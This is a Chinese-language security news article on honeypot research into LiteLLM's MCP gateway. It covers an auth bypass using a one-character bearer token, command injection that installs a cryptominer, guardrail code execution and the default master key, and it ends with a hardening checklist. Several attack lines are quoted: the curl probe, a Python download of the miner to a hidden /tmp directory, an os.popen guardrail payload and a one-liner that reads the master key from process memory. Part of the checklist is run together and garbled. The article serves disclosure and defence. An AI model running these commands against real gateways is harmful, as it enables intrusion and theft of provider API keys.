一个单字符令牌如何打开了LiteLLM的MCP网关
蜜罐捕获了利用LiteLLM MCP认证绕过机制及防护代码执行漏洞的攻击者。以下是该攻击链以及强化防御的六步检查清单。
来源: A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway
在90天的时间里,Wiz Research搭建了模仿真实AI工具的诱饵服务器,包括LiteLLM、Flowise、LangChain、Langflow、ChromaDB、Ollama、OpenWebUI和Node-RED,并记录了有谁试图入侵。确实有真正的攻击者出现。最终发现的问题并非零日漏洞,而是LiteLLM的Model Context Protocol(MCP)网关中的错误处理机制将“我不认识这个令牌”误解读为“这个令牌没问题”。长度仅为一个字符的Bearer令牌就足以突破防御。LiteLLM是一种流行的网关,能让应用程序通过一个端点与多个模型供应商进行交互,因此使用该工具的团队应预留10分钟时间处理这一问题。
单字符绕过漏洞
该漏洞的编号为CVE-2026-59822。LiteLLM的MCP端点本应在允许访问组织所连接的各类MCP服务器(如Jira、Slack、内部数据库以及CI/CD流水线)之前,先验证Bearer令牌的有效性。在存在缺陷的逻辑中,未能通过LiteLLM常规检查的令牌会触发401错误,而代码捕获到该错误后会返回一个空的认证对象。空对象并不意味着访问被拒绝,而是表示未以特定用户身份进行认证,而MCP层接受了这一状态。
攻击者发送的探测请求已达到请求尺寸的最小极限:
# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models
如果响应中包含 mcp-session-id 标头,说明会话处于开启状态,攻击者可以访问代理能够连接的所有MCP工具,且无需有效凭证。诱饵系统记录下了实时探测行为,该漏洞随后被列入CISA的已知已利用漏洞列表中。
从开启的会话到加密货币矿工程序
仅开启的MCP会话就已经很糟糕了,但攻击者还将其与其他攻击手段结合使用。Wiz记录了导致CVE-2026-42271的绕过方法,该漏洞存在于MCP的测试和配置端点中,是一种命令注入缺陷,攻击者可通过构造特定的服务器配置来触发不安全的子进程执行。操作步骤很简单:注册一个虚假的MCP配置,使其下载并运行加密货币矿工程序,然后删除临时目录,这样简单的 ls 命令就查不到任何痕迹。典型的下载步骤如下:
python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"
部分活动与Qilin勒索软件团伙有关。其规避手段比CVE编号更为重要。恶意程序被隐藏在/tmp/.dbus-cache/目录中,二进制文件被重命名为unicorn之类的名称,还有某次攻击将恶意载荷放置在/app/data/.claude/目录里,该目录的结构刻意模仿Claude Code的配置目录,以此让攻击看起来像是正常的工具使用而非入侵行为。
第二个漏洞:代码执行防护机制被绕过
LiteLLM 在自定义防护规则方面也存在一个同样严重的漏洞,即 CVE-2026-59821。该功能允许管理员上传用于检查传入请求的 Python 代码片段。上传接口会通过 exec(compile(...)) 来编译并执行这些代码片段,从而保留 __builtins__ 模块,并允许任意导入操作。因此,无论是管理员会话还是下文所述的未授权会话,都可能注册虚假的防护规则,例如:
import os
_cmd = os.popen('id').read().strip()
命令输出会出现在后续响应的 block-reason 字段中。版本 1.82.0 通过要求护栏端点必须由管理员角色操作,以及在编译前移除 __builtins__ 来修复此问题。在较低版本上,急需打补丁,因为下一个问题会让情况更加恶化。
使其得以运行的默认设置
正是这一细节使得这起事件属于异常状况而非常规补丁问题:由于未设置主密钥,LiteLLM曾将所有调用者视为PROXY_ADMIN身份。这种权限并非只读或受限访问,而是拥有完整管理员权限,包括Guardrails接口功能,而且许多部署场景从未设置过密钥。当研究人员扫描公共实例时,大约十分之一(3,074个中的9.6%)的实例仍在使用默认的sk-1234密钥,或根本未进行任何设置。再加上MCP绕过漏洞和Guardrails执行错误,攻击者便有了多种独立且低成本的途径入侵同一台机器。
寻找内存而非文件
Wiz将后续行为称为“AI原生型利用后攻击”,其中与AI相关的部分正是攻击者在获得shell权限后会重点寻找的目标。他们针对的是运行中的进程内存,而非磁盘上的文件:
python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"
那行代码直接从内存中读取代理的主密钥,无需访问磁盘。随后,入侵者列出了诸如 /app/litellm_config.yaml 和 ~/.litellm/config.yaml 这样的配置路径,确定了所连接的后端模型,并根据代理能够访问的范围选择目标。这样的网关比普通的应用服务器更有价值。Wiz的监测数据显示,某个代理常常同时持有OpenAI、Anthropic、Azure OpenAI和Gemini的实时密钥,因此只需一次内存读取就能获取这四家服务提供商的密钥。
使用检查清单而非CVE编号
- 检查版本号。 LiteLLM 1.84.0及以上版本已修复MCP绕过问题,1.82.0及以上版本已修复防护机制执行错误。如果这两个版本的更新都滞后了,那就安排时间在下午进行升级。
sk-1234 或空值。运行 echo $LITELLM_MASTER_KEY,确保它不是很久以前粘贴的教程默认值。PROXY_ADMIN 权限。应用补丁后,默认角色会变为 INTERNAL_USER,但现有的部署不会自动降级,因此需手动检查角色分配情况。curl或python3 -c命令,这类异常比任何访问日志都更易被发现。AI网关应当被视作真正的凭证管理库,而非那种设置一次就置之不理的便捷代理工具。这次认证漏洞其实并不复杂,只是因为try/except结构捕获了错误的错误信息,而攻击者早已在现实中利用了这一漏洞。